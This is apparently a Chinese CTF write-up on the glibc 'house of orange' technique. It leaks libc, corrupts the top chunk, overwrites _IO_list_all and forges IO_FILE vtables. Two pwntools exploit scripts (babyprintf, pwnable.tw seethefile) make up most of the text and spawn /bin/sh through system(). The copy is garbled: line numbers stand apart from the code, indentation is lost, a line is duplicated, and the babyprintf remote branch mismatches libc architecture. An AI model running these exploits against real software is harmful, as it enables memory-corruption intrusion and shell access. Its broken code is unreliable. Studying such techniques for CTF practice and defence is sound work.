house-of-orange

house of orange

unsorted bin attack方法和house of orange

可覆盖的 _IO_LIST_ALL

​ io的虚表

​ max_fast

​ malloc_hook

泄露libc基址

首先说明如何泄露libc的基址,当申请的内存大于某个阈值时,系统会调用mmap直接为应用程序分配页面,此时分配出来的的页面会紧贴着libc页面,所以我们可以通过分配一个大内存,最后得到地址加上大小最终就得到了libc的基址。题目又给了so,所以可以得到system以及_IO_list_all以及main_arena等结构的真实地址。

malloc大内存(0x2000000)前:

http://p9.qhimg.com/t0167010858c2abf792.png

malloc大内存后:

http://p9.qhimg.com/t01e6a0ab056566b8fd.png

可以看到0x00007f4b19898000+0x0x2001000就到了libc的基址,多0x1000是因为对齐。

获取unsorted bin chunk

当申请的堆块大于当前的top chunk size且小于用mmap分配的阈值时,系统会将原来的top chunk 放到unsorted bin中,同时分配新的较大的top chunk出来。

如果大于mmap分配的阈值,则直接从系统分配,源码如下:

所以为得到unsorted chunk ,申请分配的内存需要大于top chunk的size且小于mmap的阈值。

还需要通过的一个检查:

http://p6.qhimg.com/t017dd19b992310956a.png

这个检查总结起来为:

\1. size需要大于0x20(MINSIZE)

\2. prev_inuse位要为1

\3. top chunk address + top chunk size 必须是页对齐的(页大小一般为0x1000)

所以在这一步中我们需要做的就是覆盖原来的top chunk size,然后再申请一个比较大的堆块,这样就可获得一个unsorted chunk。

覆盖IO_list_all并伪造 IO_FILE结构体

gdb查看file结构方法

p ((struct _IO_FILE_plus) 0x23ac1b0)

1
arena的结构 struct malloc_state {

有了多的unsorted chunk后,覆盖某个堆块的bk字段,使它指向IO_list_all-0x10字段,这样IO_list_all会被修改成指向main_arena的unsorted bin数组,原理图如下:

http://p3.qhimg.com/t016a287b2c27661c90.png

同时当 glibc 检测到 memory corruption 时,它会flush 所有的 IO 流,调用_IO_flush_all_lockp 函数:

http://p5.qhimg.com/t0116d84aa346bb1f90.png

所以我们在覆盖了IO_list_all后,使其指向了main_arena的unsorted bin数组,这时的数组位置并不是我们可控的位置,从源代码中我们知道__IO_list_all最开始为main_arena的unsorted bin数组(代码A),不可控,如果我们构造适当的chunk使其在free后存放到了main_arena的unsorted bin数组偏移的0x68(smallbin里面)处,这样就可以实现fp指向我们可控的数据(代码B),然后绕过限制条件(代码C),执行_IO_OVERFLOW

备忘:(原作是system但是有检查,所以这里记下了了babyprintf的做法网上的babyprintf有些地方无法正常运行,所以这个脚本有改动)
备忘:(原作是system但是有检查,所以这里记下了了babyprintf的做法网上的babyprintf有些地方无法正常运行,所以这个脚本有改动)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
def do(llen,data):
p.recvuntil('size:')
p.sendline(str(llen))
p.recvuntil(': ')
p.sendline(data)
def pwn():
offset_start_main=0x00202E1
p.recvuntil('size:')
llen=0x90-8
p.sendline(str(llen))
p.recvuntil(': ')
leak_libc='%1$p %2$p %3$p %4$p %5$p aaa %6$p '
sstr='%p'*90
p.sendline(leak_libc)
p.recvuntil('aaa ')
data=p.recvuntil(' ')[:-1]
real_start_main=int(data,16)
libc_base=real_start_main-offset_start_main
real_io_list=libc_base+libc.symbols['_IO_list_all']
real_system=libc_base+libc.symbols['system']
real_binsh=libc_base+sh
print hex(real_system)
do(0x90-8,'a'*0x80+p64(0)+p64(0xee1))
do(0x1000-8,"aaa")
fake_chunk=p64(0)+p64(0x61)
fake_chunk+=p64(0xddaa)+p64(real_io_list-0x10)
fake_chunk+=p64(0x2)+p64(0xffffffffffffff)+p64(0)*2+p64( ((real_binsh-0x64)/2)+3 )
fake_chunk=fake_chunk.ljust(0xa0,'\x00')
fake_chunk+=p64(real_system+0x420)
fake_chunk=fake_chunk.ljust(0xc0,'\x00')
fake_chunk+=p64(0)

vtable_addr=libc_base+0x394500 #0x394500 0x393A80
payload =fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
payload += p64(real_system)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3 # vtable
payload += p64(real_system)
do(0x90-8,'c'*0x80+payload )
p.recvuntil('size:')
llen=0x200-8
p.sendline(str(llen))
debug=1
if debug:
p=process("./babyprintf")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.24.so")
sh=0x1619B9
#gdb.attach(p)
else:
p=remote("chall.pwnable.tw",10104)
libc=ELF("./libc_32.so.6")
sh=0x00158E8B
pwn()
p.interactive()


32

from pwn import *
#p = remote("chall.pwnable.tw", 10200)
#libc = ELF('./libc_32.so.6')
p=process("./seethefile")
libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')
def open(filename):
p.sendlineafter("choice :", '1')
p.sendlineafter("see", filename)
def read():
p.sendlineafter("choice :", '2')
def close():
p.sendlineafter("choice :", '4')
def exit(name):
p.sendlineafter("choice :", '5')
p.sendlineafter("name :", name)
open("/proc/self/maps")
#lead libc:
read()
p.sendlineafter("choice :", '3')
print p.recvuntil('[heap]\n')
recv=p.recv(10)
libc.address = int(recv[0:8], base = 16)
print hex(libc.address)
print hex(libc.symbols['system'])
payload = ''
payload += ('\x00' * 0x20)
payload += p32(0x0804B284)
payload += "/bin/sh\x00"
payload += p32(0) * 11
payload += p32(0)
payload += p32(0x0)
payload += p32(0) * 3
payload += p32(0x0804B260)
payload += p32(0) * 2
payload += p32(0x0)
payload += p32(0)
payload += p32(0) * 14
payload += p32(0x804B31C)
payload += p32(0x0)
payload += p32(0x0)
payload += p32(libc.address + (0xb75edd10 - 0xb7585000)) # finish
payload += p32(libc.address + (0xb75ee6f0 - 0xb7585000)) # overflow
payload += p32(libc.address + (0xb75ee490 - 0xb7585000)) # underflow
payload += p32(libc.address + (0xb75ef560 - 0xb7585000)) # uflow
payload += p32(libc.address + (0xb75f03f0 - 0xb7585000)) # pbackfail
payload += p32(libc.address + (0xb75ed980 - 0xb7585000)) # xsputn
payload += p32(libc.address + (0xb75ed5a0 - 0xb7585000)) # xgetn
payload += p32(libc.address + (0xb75ec840 - 0xb7585000)) # seekoff
payload += p32(libc.address + (0xb75ef800 - 0xb7585000)) # seekpos
payload += p32(libc.address + (0xb75ec680 - 0xb7585000)) # setbuf
payload += p32(libc.address + (0xb75ec570 - 0xb7585000)) # sync
payload += p32(libc.address + (0xb75e1d80 - 0xb7585000)) # deallocate
payload += p32(libc.address + (0xb75ed930 - 0xb7585000)) # read
payload += p32(libc.address + (0xb75ed3f0 - 0xb7585000)) # write
payload += p32(libc.address + (0xb75ed130 - 0xb7585000)) # seek
payload += p32(libc.symbols['system']) # close
payload += p32(libc.address + (0xb75ed3d0 - 0xb7585000)) # stat
payload += p32(libc.address + (0xb75f0580 - 0xb7585000)) # showmanyc
payload += p32(libc.address + (0xb75f0590 - 0xb7585000))# imbue

p.sendlineafter("choice :", '5')
p.sendline(payload)
#p.sendline('abcd')


p.interactive()